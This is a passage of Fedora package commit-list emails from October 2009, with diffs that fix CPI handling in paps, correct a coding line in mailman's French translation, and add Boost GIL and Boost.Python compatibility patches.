   page_layout.cups_mode = cups_mode;
 
+  paps_set_paper_size(paps, page_width, page_height);
+
   /* calculate x-coordinate scale */
   if (page_layout.cpi > 0.0L)
     {
@@ -605,7 +609,7 @@ int main(int argc, char *argv[])
       w = pango_font_metrics_get_approximate_digit_width (metrics);
       if (w > max_width)
 	  max_width = w;
-      page_layout.scale_x = 1 / page_layout.cpi * 72.0 * PANGO_SCALE / max_width;
+      page_layout.scale_x = 1 / page_layout.cpi * 72.0 * (gdouble)PANGO_SCALE / (gdouble)max_width;
       pango_font_metrics_unref (metrics);
       g_object_unref (G_OBJECT (fontmap));
 
@@ -613,6 +617,8 @@ int main(int argc, char *argv[])
       // update the font size to that width
       pango_font_description_set_size (font_description, font_size * page_layout.scale_x);
       pango_context_set_font_description (pango_context, font_description);
+
+      paps_set_cpi(paps, page_layout.cpi);
     }
 
   page_layout.scale_x = page_layout.scale_y = 1.0;
@@ -726,119 +732,6 @@ read_file (FILE   *file,
   return text;
 }
 
-#if 0
-/* Take a UTF8 string and break it into paragraphs on \n characters.
- *
- * Sorry. I couldn't figure out what this version was supposed to do
- *
- */
-static GList *
-split_text_into_paragraphs (PangoContext *pango_context,
-                            page_layout_t *page_layout,
-                            int paint_width,  /* In pixels */
-                            char *text)
-{
-  char *p = text;
-  char *next;
-  gunichar wc;
-  GList *result = NULL;
-  char *last_para = text;
-  
-  while (p != NULL && *p)
-    {
-      wc = g_utf8_get_char (p);
-      next = g_utf8_next_char (p);
-      if (wc == (gunichar)-1)
-        {
-          fprintf (stderr, "%s: Invalid character in input\n", g_get_prgname ());
-          wc = 0;
-        }
-      if (!*p || !wc || wc == '\n' || wc == '\f')
-        {
-          Paragraph *para = g_new (Paragraph, 1);
-          para->text = last_para;
-          para->length = p - last_para;
-          para->layout = pango_layout_new (pango_context);
-
-	  if (cpi > 0.0L && page_layout->do_wordwrap)
-	    {
-	      PangoRectangle ink_rect, logical_rect;
-	      wchar_t *wtext, *wnewtext;
-	      gchar *newtext;
-	      size_t i, len, wwidth = 0, n;
-
-	      wtext = g_utf8_to_ucs4 (para->text, para->length, NULL, NULL, NULL);
-	      if (wtext == NULL)
-	        {
-		  fprintf (stderr, "Failed to convert UTF-8 to UCS-4.\n");
-                  exit(1);
-		}
-
-	      len = g_utf8_strlen (para->text, para->length);
-	      /* the amount of characters to be able to put on the line against CPI */
-	      n = page_layout->column_width / 72.0 * cpi;
-	      if (len > n)
-	        {
-		  wnewtext = g_new (wchar_t, wcslen (wtext) + 1);
-		  if (wnewtext == NULL)
-		    {
-		      fprintf (stderr, "Failed to allocate a memory.\n");
-		      g_free (wtext);
-                      exit(1);
-		    }
-		  for (i = 0; i < len; i++)
-		    {
-		      wwidth += wcwidth (wtext[i]);
-		      if (wwidth > n)
-			  break;
-		      wnewtext[i] = wtext[i];
-		    }
-		  wnewtext[i] = 0L;
-
-		  newtext = g_ucs4_to_utf8 ((const gunichar *)wnewtext, i, NULL, NULL, NULL);
-		  if (newtext == NULL)
-		    {
-		      fprintf (stderr, "Failed to convert UCS-4 to UTF-8.\n");
-                      exit(1);
-		    }
-
-		  pango_layout_set_text (para->layout, newtext, -1);
-		  pango_layout_get_extents (para->layout, &ink_rect, &logical_rect);
-		  /* update paint_width to wrap_against CPI */
-		  paint_width = logical_rect.width / PANGO_SCALE;
-		  g_free (newtext);
-		  g_free (wnewtext);
-		}
-	      g_free (wtext);
-	    }
-          pango_layout_set_text (para->layout, para->text, para->length);
-          pango_layout_set_justify (para->layout, page_layout->do_justify);
-          pango_layout_set_alignment (para->layout,
-                                      page_layout->pango_dir == PANGO_DIRECTION_LTR
-                                      ? PANGO_ALIGN_LEFT : PANGO_ALIGN_RIGHT);
-          pango_layout_set_width (para->layout, paint_width * PANGO_SCALE);
-          if (page_layout->do_wordwrap)
-              pango_layout_set_wrap (para->layout, PANGO_WRAP_WORD_CHAR);
-          para->height = 0;
-
-          if (wc == '\f')
-              para->formfeed = 1;
-          else
-              para->formfeed = 0;
-
-          last_para = next;
-            
-          result = g_list_prepend (result, para);
-        }
-      if (!wc) /* incomplete character at end */
-        break;
-      p = next;
-    }
-
-  return g_list_reverse (result);
-}
-#endif
-
 /* Take a UTF8 string and break it into paragraphs on \n characters
  */
 static GList *
@@ -904,18 +797,85 @@ split_text_into_paragraphs (PangoContext *pango_context,
               para->text = last_para;
               para->length = p - last_para;
               para->layout = pango_layout_new (pango_context);
-              //          pango_layout_set_font_description (para->layout, font_description);
-              pango_layout_set_text (para->layout, para->text, para->length);
+
+	      if (page_layout->cpi > 0.0L && page_layout->do_wordwrap) {
+		      /* figuring out the correct width from the pango_font_metrics_get_approximate_width()
+		       * is really hard and pango_layout_set_wrap() doesn't work properly then.
+		       * Those are not reliable to render the characters exactly according to the given CPI.
+		       * So Re-calculate the width to wrap up to be comfortable with CPI.
+		       */
+		      wchar_t *wtext = NULL, *wnewtext = NULL;
+		      gchar *newtext = NULL;
+		      gsize len, col, i, wwidth = 0;
+		      PangoRectangle ink_rect, logical_rect;
+
+		      wtext = (wchar_t *)g_utf8_to_ucs4(para->text, para->length, NULL, NULL, NULL);
+		      if (wtext == NULL) {
+			      fprintf(stderr, "%s: Unable to convert UTF-8 to UCS-4.\n", g_get_prgname());
+			fail:
+			      g_free(wtext);
+			      g_free(wnewtext);
+			      g_free(newtext);
+			      if (page_layout->cups_mode) {
+				      /* try to continue parsing text */
+				      p = next;
+				      continue;
+			      } else {
+				      exit(1);
+			      }
+		      }
+		      len = g_utf8_strlen(para->text, para->length);
+		      /* the amount of characters that can be put on the line against CPI */
+		      col = page_layout->column_width / 72.0 * page_layout->cpi;
+		      if (len > col) {
+			      /* need to wrap up them */
+			      wnewtext = g_new(wchar_t, wcslen(wtext) + 1);
+			      if (wnewtext == NULL) {
+				      fprintf(stderr, "%s: Unable to allocate the memory.\n", g_get_prgname());
+				      goto fail;
+			      }
+			      for (i = 0; i < len; i++) {
+				      wwidth += wcwidth(wtext[i]);
+				      if (wwidth > col)
+					      break;
+				      wnewtext[i] = wtext[i];
+			      }
+			      wnewtext[i] = 0L;
+
+			      newtext = g_ucs4_to_utf8((const gunichar *)wnewtext, i, NULL, NULL, NULL);
+			      if (newtext == NULL) {
+				      fprintf(stderr, "%s: Unable to convert UCS-4 to UTF-8.\n", g_get_prgname());
+				      goto fail;
+			      }
+			      pango_layout_set_text(para->layout, newtext, -1);
+			      pango_layout_get_extents(para->layout, &ink_rect, &logical_rect);
+			      paint_width = logical_rect.width / PANGO_SCALE;
+			      g_free(wnewtext);
+			      g_free(newtext);
+
+			      para->length = i;
+			      next = g_utf8_offset_to_pointer(para->text, para->length);
+			      wc = g_utf8_prev_char(next);
+		      } else {
+			      pango_layout_set_text(para->layout, para->text, para->length);
+		      }
+		      g_free(wtext);
+		      
+		      pango_layout_set_width(para->layout, -1);
+	      } else {
+		      pango_layout_set_text (para->layout, para->text, para->length);
+		      if (page_layout->do_wordwrap) {
+			      pango_layout_set_wrap (para->layout, PANGO_WRAP_WORD_CHAR);
+			      pango_layout_set_width (para->layout, paint_width * PANGO_SCALE);
+		      } else {
+			      pango_layout_set_width (para->layout, -1);
+		      }
+	      }
+					      
               pango_layout_set_justify (para->layout, page_layout->do_justify);
               pango_layout_set_alignment (para->layout,
                                           page_layout->pango_dir == PANGO_DIRECTION_LTR
                                           ? PANGO_ALIGN_LEFT : PANGO_ALIGN_RIGHT);
-              if (page_layout->do_wordwrap) {
-                pango_layout_set_wrap (para->layout, PANGO_WRAP_WORD_CHAR);
-                pango_layout_set_width (para->layout, paint_width * PANGO_SCALE);
-              } else {
-                pango_layout_set_width (para->layout, -1);
-              }
 
               para->height = 0;
 


Index: paps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/paps/devel/paps.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- paps.spec	25 Jul 2009 23:14:11 -0000	1.38
+++ paps.spec	14 Oct 2009 10:42:42 -0000	1.39
@@ -1,6 +1,6 @@
 Name:		paps
 Version:	0.6.8
-Release:	10%{?dist}
+Release:	11%{?dist}
 
 License:	LGPLv2+
 URL:		http://paps.sourceforge.net/
@@ -21,6 +21,7 @@ Patch50:	paps-cups.patch
 Patch51:	paps-cpilpi.patch
 Patch52:	paps-dsc-compliant.patch
 Patch53:	paps-autoconf262.patch
+Patch54:	paps-fix-cpi.patch
 
 Summary:	Plain Text to PostScript converter
 Group:		Applications/Publishing
@@ -56,6 +57,7 @@ applications using paps API.
 %patch51 -p1 -b .cpilpi
 %patch52 -p1 -b .dsc
 %patch53 -p1 -b .autoconf262
+%patch54 -p1 -b .fixcpi
 libtoolize -f -c
 autoreconf
 
@@ -99,6 +101,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libpaps.so
 
 %changelog
+* Wed Oct 14 2009 Akira TAGOH <tagoh at redhat.com> - 0.6.9-11
+- Fix code that deal with CPI parameter to be accurate. (#524883)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.8-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From dnovotny at fedoraproject.org  Wed Oct 14 11:16:49 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Wed, 14 Oct 2009 11:16:49 +0000 (UTC)
Subject: rpms/mailman/devel mailman-2.1.12-codage.patch, 1.1,
	1.2 mailman.spec, 1.88, 1.89
Message-ID: <20091014111649.AF5BC11C00E5@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/mailman/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15964

Modified Files:
	mailman-2.1.12-codage.patch mailman.spec 
Log Message:
fix the last patch (bz#528492), no space between "coding" and ":"


mailman-2.1.12-codage.patch:
 mailman.po |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: mailman-2.1.12-codage.patch
===================================================================
RCS file: /cvs/extras/rpms/mailman/devel/mailman-2.1.12-codage.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- mailman-2.1.12-codage.patch	13 Oct 2009 11:39:07 -0000	1.1
+++ mailman-2.1.12-codage.patch	14 Oct 2009 11:16:49 -0000	1.2
@@ -6,7 +6,7 @@ diff -up mailman-2.1.12/messages/fr/LC_M
  msgstr ""
  "# -*- python -*-\n"
 -"# -*- codage : %(charset)s -*-\n"
-+"# -*- coding : %(charset)s -*-\n"
++"# -*- coding: %(charset)s -*-\n"
  "## Param?tres de configuration de la liste \"%(listname)s\"\n"
  "## Captur? le %(when)s\n"
  


Index: mailman.spec
===================================================================
RCS file: /cvs/extras/rpms/mailman/devel/mailman.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- mailman.spec	13 Oct 2009 11:39:07 -0000	1.88
+++ mailman.spec	14 Oct 2009 11:16:49 -0000	1.89
@@ -1,7 +1,7 @@
 Summary: Mailing list manager with built in Web access
 Name: mailman
 Version: 2.1.12
-Release: 11%{?dist}
+Release: 12%{?dist}
 Epoch: 3
 Group: Applications/Internet
 Source0: ftp://ftp.gnu.org/pub/gnu/mailman/mailman-%{version}.tgz
@@ -489,6 +489,9 @@ exit 0
 %attr(0755,root,root) %{_bindir}/mailman-update-cfg
 
 %changelog
+* Wed Oct 14 2009 Daniel Novotny <dnovotny at redhat.com> 3:2.1.12-12
+- fix the last patch (bz#528492), no space between "coding" and ":"
+
 * Tue Oct 13 2009 Daniel Novotny <dnovotny at redhat.com> 3:2.1.12-11
 - fix French translation, "coding" keyword must be untranslated (bz#528492)
 



From pmachata at fedoraproject.org  Wed Oct 14 11:42:23 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Wed, 14 Oct 2009 11:42:23 +0000 (UTC)
Subject: rpms/boost/devel boost-gil_gcc44.patch, NONE,
	1.1 boost-python_call_operator.patch, NONE,
	1.1 boost-python_enums.patch, NONE, 1.1 boost-python_uint.patch,
	NONE, 1.1 boost.spec, 1.67, 1.68
Message-ID: <20091014114223.D0F8211C02A3@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/boost/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20847

Modified Files:
	boost.spec 
Added Files:
	boost-gil_gcc44.patch boost-python_call_operator.patch 
	boost-python_enums.patch boost-python_uint.patch 
Log Message:
- Several fixes to support PySide
- Resolves: #520087
- GCC 4.4 name resolution fixes for GIL
- Resolves: #526834


boost-gil_gcc44.patch:
 boost/gil/bit_aligned_pixel_reference.hpp |    2 +-
 boost/gil/color_base.hpp                  |   12 ++++++------
 boost/gil/color_base_algorithm.hpp        |    4 ++--
 boost/gil/image_view_factory.hpp          |    8 ++++----
 boost/gil/packed_pixel.hpp                |    2 +-
 boost/gil/pixel.hpp                       |    8 ++++----
 boost/gil/planar_pixel_iterator.hpp       |    8 ++++----
 libs/gil/test/pixel.cpp                   |   11 ++++++-----
 8 files changed, 28 insertions(+), 27 deletions(-)

--- NEW FILE boost-gil_gcc44.patch ---
Index: boost/gil/bit_aligned_pixel_reference.hpp
===================================================================
--- boost/gil/bit_aligned_pixel_reference.hpp	(revision 53049)
+++ boost/gil/bit_aligned_pixel_reference.hpp	(working copy)
@@ -145,7 +145,7 @@
 
     // Construct from another compatible pixel type
     bit_aligned_pixel_reference(const bit_aligned_pixel_reference& p) : _bit_range(p._bit_range) {}
-    template <typename BF, typename CR> bit_aligned_pixel_reference(packed_pixel<BF,CR,Layout>& p) : _bit_range(static_cast<data_ptr_t>(&at_c<0>(p)), at_c<0>(p).first_bit()) {
+    template <typename BF, typename CR> bit_aligned_pixel_reference(packed_pixel<BF,CR,Layout>& p) : _bit_range(static_cast<data_ptr_t>(&gil::at_c<0>(p)), gil::at_c<0>(p).first_bit()) {
         check_compatible<packed_pixel<BF,CR,Layout> >();
     }
 
Index: boost/gil/color_base.hpp
===================================================================
--- boost/gil/color_base.hpp	(revision 53049)
+++ boost/gil/color_base.hpp	(working copy)
@@ -155,15 +155,15 @@
     homogeneous_color_base(Element v0, Element v1, Element v2) : _v0(v0), _v1(v1), _v2(v2) {}
 
     template <typename E2, typename L2> homogeneous_color_base(const homogeneous_color_base<E2,L2,3>& c) : 
-        _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), 
-        _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), 
-        _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
+        _v0(gil::at_c<mapping_transform<Layout,L2,0>::value>(c)), 
+        _v1(gil::at_c<mapping_transform<Layout,L2,1>::value>(c)), 
+        _v2(gil::at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
 
     // Support for l-value reference proxy copy construction
     template <typename E2, typename L2> homogeneous_color_base(      homogeneous_color_base<E2,L2,3>& c) : 
-        _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), 
-        _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), 
-        _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
+        _v0(gil::at_c<mapping_transform<Layout,L2,0>::value>(c)), 
+        _v1(gil::at_c<mapping_transform<Layout,L2,1>::value>(c)), 
+        _v2(gil::at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
 
     // Support for planar_pixel_iterator construction and dereferencing
     template <typename P> homogeneous_color_base(P* p,bool) : 
Index: boost/gil/color_base_algorithm.hpp
===================================================================
--- boost/gil/color_base_algorithm.hpp	(revision 53049)
+++ boost/gil/color_base_algorithm.hpp	(working copy)
@@ -101,7 +101,7 @@
 template <typename ColorBase, int K> struct kth_semantic_element_reference_type {
     BOOST_STATIC_CONSTANT(int, semantic_index = (mpl::at_c<typename ColorBase::layout_t::channel_mapping_t,K>::type::value));
     typedef typename kth_element_reference_type<ColorBase,semantic_index>::type type;
-    static type       get(ColorBase& cb) { return at_c<semantic_index>(cb); }
+    static type       get(ColorBase& cb) { return gil::at_c<semantic_index>(cb); }
 };
 
 /// \brief Specifies the return type of the constant semantic_at_c<K>(color_base);
@@ -109,7 +109,7 @@
 template <typename ColorBase, int K> struct kth_semantic_element_const_reference_type {
     BOOST_STATIC_CONSTANT(int, semantic_index = (mpl::at_c<typename ColorBase::layout_t::channel_mapping_t,K>::type::value));
     typedef typename kth_element_const_reference_type<ColorBase,semantic_index>::type type;
-    static type       get(const ColorBase& cb) { return at_c<semantic_index>(cb); }
+    static type       get(const ColorBase& cb) { return gil::at_c<semantic_index>(cb); }
 };
 
 /// \brief A mutable accessor to the K-th semantic element of a color base
Index: boost/gil/image_view_factory.hpp
===================================================================
--- boost/gil/image_view_factory.hpp	(revision 53049)
+++ boost/gil/image_view_factory.hpp	(working copy)
@@ -102,7 +102,7 @@
     BOOST_STATIC_ASSERT((!is_planar<HomogeneousView>::value && view_is_basic<HomogeneousView>::value));
     BOOST_STATIC_ASSERT((boost::is_pointer<typename HomogeneousView::x_iterator>::value));
 
-    return &at_c<0>(view(0,0));
+    return &gil::at_c<0>(view(0,0));
 }
 
 /// \ingroup ImageViewConstructors
@@ -430,7 +430,7 @@
             typedef typename type::xy_locator                             locator_t;
             typedef typename type::x_iterator                            x_iterator_t;
             typedef typename iterator_adaptor_get_base<x_iterator_t>::type x_iterator_base_t;
-            x_iterator_t sit(x_iterator_base_t(&at_c<K>(src(0,0))),src.pixels().pixel_size());
+            x_iterator_t sit(x_iterator_base_t(&gil::at_c<K>(src(0,0))),src.pixels().pixel_size());
             return type(src.dimensions(),locator_t(sit, src.pixels().row_size()));
         }
     };
@@ -444,7 +444,7 @@
         typedef typename view_type<channel_t, gray_layout_t, false, false, view_is_mutable<View>::value>::type type;
         static type make(const View& src) {
             typedef typename type::x_iterator x_iterator_t;
-            return interleaved_view(src.width(),src.height(),(x_iterator_t)&at_c<K>(src(0,0)), src.pixels().row_size());
+            return interleaved_view(src.width(),src.height(),(x_iterator_t)&gil::at_c<K>(src(0,0)), src.pixels().row_size());
         }
     };
 
@@ -494,7 +494,7 @@
         template <typename P> kth_channel_deref_fn(const kth_channel_deref_fn<K,P>&) {}
 
         result_type operator()(argument_type srcP) const { 
-            return result_type(at_c<K>(srcP)); 
+            return result_type(gil::at_c<K>(srcP));
         }
     };
 
Index: boost/gil/packed_pixel.hpp
===================================================================
--- boost/gil/packed_pixel.hpp	(revision 53049)
+++ boost/gil/packed_pixel.hpp	(working copy)
@@ -81,7 +81,7 @@
     } 
     packed_pixel(int chan0, int chan1, int chan2) : _bitfield(0) { 
         BOOST_STATIC_ASSERT((num_channels<packed_pixel>::value==3)); 
-        at_c<0>(*this)=chan0; at_c<1>(*this)=chan1; at_c<2>(*this)=chan2; 
+        gil::at_c<0>(*this)=chan0; gil::at_c<1>(*this)=chan1; gil::at_c<2>(*this)=chan2; 
     } 
     packed_pixel(int chan0, int chan1, int chan2, int chan3) : _bitfield(0) { 
         BOOST_STATIC_ASSERT((num_channels<packed_pixel>::value==4)); 
Index: boost/gil/pixel.hpp
===================================================================
--- boost/gil/pixel.hpp	(revision 53049)
+++ boost/gil/pixel.hpp	(working copy)
@@ -143,11 +143,11 @@
 
 private:
     static void check_gray() {  BOOST_STATIC_ASSERT((is_same<typename Layout::color_space_t, gray_t>::value)); }
-    template <typename Channel> void assign(const Channel& chan, mpl::false_)       { check_gray(); at_c<0>(*this)=chan; }
-    template <typename Channel> bool equal (const Channel& chan, mpl::false_) const { check_gray(); return at_c<0>(*this)==chan; }
+    template <typename Channel> void assign(const Channel& chan, mpl::false_)       { check_gray(); gil::at_c<0>(*this)=chan; }
+    template <typename Channel> bool equal (const Channel& chan, mpl::false_) const { check_gray(); return gil::at_c<0>(*this)==chan; }
 public:
-    pixel&  operator= (channel_t chan)       { check_gray(); at_c<0>(*this)=chan; return *this; }
-    bool    operator==(channel_t chan) const { check_gray(); return at_c<0>(*this)==chan; }
+    pixel&  operator= (channel_t chan)       { check_gray(); gil::at_c<0>(*this)=chan; return *this; }
+    bool    operator==(channel_t chan) const { check_gray(); return gil::at_c<0>(*this)==chan; }
 };
 
 /////////////////////////////
Index: boost/gil/planar_pixel_iterator.hpp
===================================================================
--- boost/gil/planar_pixel_iterator.hpp	(revision 53049)
+++ boost/gil/planar_pixel_iterator.hpp	(working copy)
@@ -109,8 +109,8 @@
     reference operator->()                        const { return **this; }
 
     // PERFORMANCE_CHECK: Remove?
-    bool operator< (const planar_pixel_iterator& ptr)   const { return at_c<0>(*this)< at_c<0>(ptr); }
-    bool operator!=(const planar_pixel_iterator& ptr)   const { return at_c<0>(*this)!=at_c<0>(ptr); }
+    bool operator< (const planar_pixel_iterator& ptr)   const { return gil::at_c<0>(*this)< gil::at_c<0>(ptr); }
+    bool operator!=(const planar_pixel_iterator& ptr)   const { return gil::at_c<0>(*this)!=gil::at_c<0>(ptr); }
 private:
     friend class boost::iterator_core_access;
 
@@ -119,8 +119,8 @@
     void advance(ptrdiff_t d)   { static_transform(*this,*this,std::bind2nd(detail::plus_asymmetric<ChannelPtr,ptrdiff_t>(),d)); }
     reference dereference() const { return this->template deref<reference>(); }
 
-    ptrdiff_t distance_to(const planar_pixel_iterator& it) const { return at_c<0>(it)-at_c<0>(*this); }
-    bool equal(const planar_pixel_iterator& it) const { return at_c<0>(*this)==at_c<0>(it); }
+    ptrdiff_t distance_to(const planar_pixel_iterator& it) const { return gil::at_c<0>(it)-gil::at_c<0>(*this); }
+    bool equal(const planar_pixel_iterator& it) const { return gil::at_c<0>(*this)==gil::at_c<0>(it); }
 };
 
 namespace detail {
Index: libs/gil/test/pixel.cpp
===================================================================
--- libs/gil/test/pixel.cpp	(revision 53049)
+++ libs/gil/test/pixel.cpp	(working copy)
@@ -34,8 +34,9 @@
 // Testing pixel references and values, pixel operations, color conversion
 
 using namespace boost::gil;
-using namespace std;
+using std::swap;
 using namespace boost;
+
 void error_if(bool condition);
 
 struct increment { 
@@ -63,8 +64,8 @@
 
         // test homogeneous algorithms - fill, max, min
         static const int num_chan = num_channels<typename C2::pixel_t>::value;
-        static_fill(C2::_pixel, at_c<0>(C1::_pixel)+1);
-        error_if(at_c<0>(C2::_pixel) != at_c<num_chan-1>(C2::_pixel));
+        static_fill(C2::_pixel, gil::at_c<0>(C1::_pixel)+1);
+        error_if(gil::at_c<0>(C2::_pixel) != gil::at_c<num_chan-1>(C2::_pixel));
 
         C2::_pixel = C1::_pixel;
         error_if(static_max(C2::_pixel) != static_max(C1::_pixel));
@@ -107,7 +108,7 @@
         error_if(C1::_pixel!=C2::_pixel);
 
         static_generate(C2::_pixel, set_to_one());
-        error_if(at_c<0>(C2::_pixel) != 1);
+        error_if(gil::at_c<0>(C2::_pixel) != 1);
 
         // Test swap if both are mutable and if their value type is the same
         // (We know the second one is mutable)
@@ -313,7 +314,7 @@
     bgr8_pixel_t bgr8(rgb8);
     error_if(bgr8[0] == rgb8[0]);
     error_if(dynamic_at_c(bgr8,0) == dynamic_at_c(rgb8,0));
-    error_if(at_c<0>(bgr8) == at_c<0>(rgb8));
+    error_if(gil::at_c<0>(bgr8) == gil::at_c<0>(rgb8));
     error_if(semantic_at_c<0>(bgr8) != semantic_at_c<0>(rgb8));
     error_if(get_color(bgr8,blue_t()) != get_color(rgb8,blue_t()));
 

boost-python_call_operator.patch:
 boost/python/object_core.hpp   |   67 +++++++++++++++++++++++++++++++++++++++++
 libs/python/doc/v2/object.html |   24 ++++++++++++++
 libs/python/test/object.cpp    |    6 +++
 libs/python/test/object.py     |    7 +++-
 4 files changed, 103 insertions(+), 1 deletion(-)

--- NEW FILE boost-python_call_operator.patch ---
Index: /trunk/boost/python/object_core.hpp
===================================================================
--- /trunk/boost/python/object_core.hpp (revision 45918)
+++ /trunk/boost/python/object_core.hpp (revision 47846)
@@ -42,4 +42,10 @@
 
 namespace boost { namespace python { 
+
+namespace detail
+{
+  class kwds_proxy; 
+  class args_proxy; 
+} 
 
 namespace converter
@@ -103,4 +109,9 @@
 # define BOOST_PP_ITERATION_PARAMS_1 (3, (1, BOOST_PYTHON_MAX_ARITY, <boost/python/object_call.hpp>))
 # include BOOST_PP_ITERATE()
+    
+      detail::args_proxy operator* () const; 
+      object operator()(detail::args_proxy const &args) const; 
+      object operator()(detail::args_proxy const &args, 
+                        detail::kwds_proxy const &kwds) const; 
 
       // truth value testing
@@ -417,4 +428,60 @@
 //
 
+namespace detail 
+{
+
+class call_proxy 
+{ 
+public: 
+  call_proxy(object target) : m_target(target) {} 
+  operator object() const { return m_target;} 
+ 
+ private: 
+    object m_target; 
+}; 
+ 
+class kwds_proxy : public call_proxy 
+{ 
+public: 
+  kwds_proxy(object o = object()) : call_proxy(o) {} 
+}; 
+class args_proxy : public call_proxy 
+{ 
+public: 
+  args_proxy(object o) : call_proxy(o) {} 
+  kwds_proxy operator* () const { return kwds_proxy(*this);} 
+}; 
+} 
+ 
+template <typename U> 
+detail::args_proxy api::object_operators<U>::operator* () const 
+{ 
+  object_cref2 x = *static_cast<U const*>(this); 
+  return detail::args_proxy(x); 
+} 
+ 
+template <typename U> 
+object api::object_operators<U>::operator()(detail::args_proxy const &args) const 
+{ 
+  U const& self = *static_cast<U const*>(this); 
+  PyObject *result = PyObject_Call(get_managed_object(self, tag), 
+                                   args.operator object().ptr(), 
+                                   0); 
+  return object(detail::new_reference(result)); 
+ 
+} 
+ 
+template <typename U> 
+object api::object_operators<U>::operator()(detail::args_proxy const &args, 
+                                            detail::kwds_proxy const &kwds) const 
+{ 
+  U const& self = *static_cast<U const*>(this); 
+  PyObject *result = PyObject_Call(get_managed_object(self, tag), 
+                                   args.operator object().ptr(), 
+                                   kwds.operator object().ptr()); 
+  return object(detail::new_reference(result)); 
+ 
+}  
+
 inline object::object()
     : object_base(python::incref(Py_None))
Index: /trunk/libs/python/test/object.cpp
===================================================================
--- /trunk/libs/python/test/object.cpp (revision 45918)
+++ /trunk/libs/python/test/object.cpp (revision 47846)
@@ -187,4 +187,9 @@
     return s.slice(2,-1).slice(1,-1)  == "lo, wor";
 }
+
+object test_call(object c, object args, object kwds) 
+{ 
+    return c(*args, **kwds); 
+} 
 
 bool check_binary_operators()
@@ -378,4 +383,5 @@
     def("test_not_item", test_not_item);
 
+    def("test_call", test_call);
     def("check_binary_operators", check_binary_operators);
     def("check_inplace", check_inplace);
Index: /trunk/libs/python/test/object.py
===================================================================
--- /trunk/libs/python/test/object.py (revision 45918)
+++ /trunk/libs/python/test/object.py (revision 47846)
@@ -135,5 +135,10 @@
         Operators
 
-        
+>>> def print_args(*args, **kwds): 
+...     print args, kwds 
+>>> test_call(print_args, (0, 1, 2, 3), {'a':'A'}) 
+(0, 1, 2, 3) {'a': 'A'}
+
+
 >>> assert check_binary_operators()
 
Index: /trunk/libs/python/doc/v2/object.html
===================================================================
--- /trunk/libs/python/doc/v2/object.html (revision 45918)
+++ /trunk/libs/python/doc/v2/object.html (revision 47846)
@@ -656,4 +656,9 @@
       object operator()(A0 const&amp;, A1 const&amp;,...An const&amp;) const;
 
+      detail::args_proxy operator* () const; 
+      object operator()(detail::args_proxy const &amp;args) const; 
+      object operator()(detail::args_proxy const &amp;args, 
+                        detail::kwds_proxy const &amp;kwds) const; 
+
       // truth value testing
       //
@@ -705,4 +710,23 @@
       a2,...aN)</dt>
     </dl>
+
+<pre>
+object operator()(detail::args_proxy const &amp;args) const; 
+</pre>
+<dl class="function-semantics">
+  <dt><b>Effects:</b>
+  call object with arguments given by the tuple <varname>args</varname></dt>
+</dl>
+<pre>
+object operator()(detail::args_proxy const &amp;args, 
+                  detail::kwds_proxy const &amp;kwds) const; 
+</pre>
+<dl class="function-semantics">
+  <dt><b>Effects:</b>
+  call object with arguments given by the tuple <varname>args</varname>, and named
+  arguments given by the dictionary <varname>kwds</varname></dt>
+</dl>
+
+
 <pre>
 operator bool_type() const;

boost-python_enums.patch:
 src/object/enum.cpp |   28 +++++++++++++++-------------
 test/enum.cpp       |    3 ++-
 test/enum.py        |   20 ++++++++++++++------
 3 files changed, 31 insertions(+), 20 deletions(-)

--- NEW FILE boost-python_enums.patch ---
Index: /trunk/libs/python/test/enum.py
===================================================================
--- /trunk/libs/python/test/enum.py (revision 36256)
+++ /trunk/libs/python/test/enum.py (revision 53660)
@@ -5,6 +5,6 @@
 >>> from enum_ext import *
 
->>> identity(color.red)
-enum_ext.color.red
+>>> identity(color.red) # in case of duplicated enums it always take the last enum
+enum_ext.color.blood
 
 >>> identity(color.green)
@@ -14,6 +14,6 @@
 enum_ext.color.blue
 
->>> identity(color(1))
-enum_ext.color.red
+>>> identity(color(1)) # in case of duplicated enums it always take the last enum
+enum_ext.color.blood
 
 >>> identity(color(2))
@@ -29,5 +29,5 @@
 
 >>> identity(red)
-enum_ext.color.red
+enum_ext.color.blood
 
 >>> identity(green)
@@ -43,8 +43,16 @@
 >>> c = colorized()
 >>> c.x
-enum_ext.color.red
+enum_ext.color.blood
 >>> c.x = green
 >>> c.x
 enum_ext.color.green
+>>> red == blood
+True
+>>> red == green
+False
+>>> hash(red) == hash(blood)
+True
+>>> hash(red) == hash(green)
+False
 '''
 
Index: /trunk/libs/python/test/enum.cpp
===================================================================
--- /trunk/libs/python/test/enum.cpp (revision 24614)
+++ /trunk/libs/python/test/enum.cpp (revision 53660)
@@ -13,5 +13,5 @@
 using namespace boost::python;
 
-enum color { red = 1, green = 2, blue = 4 };
+enum color { red = 1, green = 2, blue = 4, blood = 1 };
 
 #if BOOST_WORKAROUND(__MWERKS__, <= 0x2407)
@@ -35,4 +35,5 @@
         .value("green", green)
         .value("blue", blue)
+        .value("blood", blood)
         .export_values()
         ;
Index: /trunk/libs/python/src/object/enum.cpp
===================================================================
--- /trunk/libs/python/src/object/enum.cpp (revision 41521)
